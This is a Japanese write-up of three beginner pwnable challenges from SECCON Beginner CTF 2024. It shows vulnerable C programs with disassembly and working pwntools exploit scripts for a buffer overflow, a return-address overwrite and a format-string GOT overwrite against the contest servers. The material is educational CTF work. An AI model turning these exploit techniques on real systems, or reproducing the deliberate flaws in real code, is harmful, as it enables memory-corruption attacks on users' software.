SECCON Beginner CTF 2024 WriteUp

# はじめに
先日開催されたSECCON Beginner CTF 2024に参加しました。今回は解いたpwnableのWriteUpになります。

# simpleoverflow
こちらは、題の通りシンプルなバッファオーバーフローを扱う問題です。

``` c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}
```
bufが10バイトなのに対して、read関数では0x10バイト(=16バイト)分、標準入力から読んでいるので、bufに一定以上入力するとバッファオーバーフローしis_adminの値を書き換えてしまい、system("/bin/cat ./flag.txt");が実行されます。逆アセンブルしてみると、
```
0000000000401176 <main>:
  401176:	55                   	push   rbp
  401177:	48 89 e5             	mov    rbp,rsp
  40117a:	48 83 ec 10          	sub    rsp,0x10
  40117e:	48 c7 45 f2 00 00 00 	mov    QWORD PTR [rbp-0xe],0x0
  401185:	00 
  401186:	66 c7 45 fa 00 00    	mov    WORD PTR [rbp-0x6],0x0
  40118c:	c7 45 fc 00 00 00 00 	mov    DWORD PTR [rbp-0x4],0x0
  401193:	48 8d 05 6a 0e 00 00 	lea    rax,[rip+0xe6a]   
```
となり、bufはメモリ上で[rbp-0xe]から[rbp-0x5]までの10バイト、is_adminは[rbp-0x4]から[rbp-0x1]までの4バイトに位置しているのが分かるので、bufに11バイト以上入力すればis_adminの値を書き換えることができそうです。また、is_adminは0以外の値になれば何でもflagが読めるため適当に入力を与えればflagを入手できます。

``` python
import pwn

host = "simpleoverflow.beginners.seccon.games"
port = 9000
io = pwn.remote(host=host,port=port)

print(io.recvuntil(b'name:'))

payload = pwn.flat(
    b'A' * 11,
    b'\n'   
)
io.send(payload)

print(io.recvall(timeout=1))

io.close()
```
こちらでflagを入手できました。

# simpleoverwrite
こちらもその題の通り、シンプルなリターンアドレスの書き換えになります。
``` c
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
  char buf[100];
  FILE *f = fopen("./flag.txt", "r");
  fgets(buf, 100, f);
  puts(buf);
}

int main() {
  char buf[10] = {0};
  printf("input:");
  read(0, buf, 0x20);
  printf("Hello, %s\n", buf);
  printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}
```
コードを読むと、bufが10バイトに対して、read関数で20バイト受け付けています。そのため、10バイト以上入力を与えるとバッファオーバーフローを起こします。そして、リターンアドレスを書き換えることで、win関数に処理を遷移させflagを入手することができます。また、問題で与えられたELFファイルはPIEが無効になっているので、win関数のアドレスに直接書き換えるだけで良さそうです。逆アセンブルすると、
```
0000000000401186 <win>:
```
と、win関数のアドレスは0x401186だと分かるので、リターンのアドレスをそれに書き換えます。また、
```
00000000004011cf <main>:
  4011cf:	55                   	push   rbp
  4011d0:	48 89 e5             	mov    rbp,rsp
  4011d3:	48 83 ec 10          	sub    rsp,0x10
  4011d7:	48 c7 45 f6 00 00 00 	mov    QWORD PTR [rbp-0xa],0x0
  4011de:	00 
  4011df:	66 c7 45 fe 00 00    	mov    WORD PTR [rbp-0x2],0x0
```
であり、bufにはメモリ上で[rbp-0xa]から[rbp-0x1]までの10バイトが割り当てられています。
```python
import pwn

pwn.context.arch = 'x86-64'

host = 'simpleoverwrite.beginners.seccon.games'
port = 9001

addr = {}
addr['win'] = 0x401186

io = pwn.remote(host=host,port=port)

print(io.recvuntil(b'input:'))

payload = pwn.flat(
    b'A' * 10,
    pwn.pack(0),
    pwn.pack(addr['win']),
    b'\n'
)

io.send(payload)
print(io.recvall(timeout=1))
io.close()
```
こちらでflagを入手できました。

# pure-and-easy
こちらは、FSBの問題です。FSBについてはこちらを参照してください。
<https://qiita.com/hachan0179/items/ff6053039353dbf53d8f>
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x100] = {0};
  printf("> ");
  read(0, buf, 0xff);
  printf(buf);
  exit(0);
}

void win() {
  char buf[0x50];
  FILE *fp = fopen("./flag.txt", "r");
  fgets(buf, 0x50, fp);
  puts(buf);
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}
```
問題を見ると、先程のようなバッファオーバーフローはありませんが、printf関数でユーザーからの入力の文字列をそのまま第1引数として与えてしまっており、書式文字列攻撃(FSB)ができます。書き換える対象は、got上のexit関数のアドレスです。こちらを、win関数のアドレスに書き換えます。逆アセンブルから、
```
0000000000401341 <win>:
```
win関数のアドレスが0x401341だとわかります。また、gotのexit関数のアドレスはgdbや、IDAなどで調べてみると0x404040です。今回は、書き込む値が数値としてあまり大きくないので、愚直に0x401341(=4199233)個分空白文字を吐かせています。また、PIEも無効のためこの数値をそのまま使います。
```python
import pwn

host = 'pure-and-easy.beginners.seccon.games'
port = 9000

pwn.context.arch = 'x86-64'

addr = {}
addr['win'] = 0x401341
addr['got_exit'] = 0x404040

io = pwn.remote(host=host,port=port)
print(io.recvuntil(b'> '))

msg = pwn.flat(
    b'%' + str(addr['win']).encode() + b'c',
    b'%8$n   ',
    pwn.pack(addr['got_exit']),
    b'\n'
)

io.send(msg)
print(io.recvall(timeout=3))
io.close() 
```
こちらで、flagを入手できました。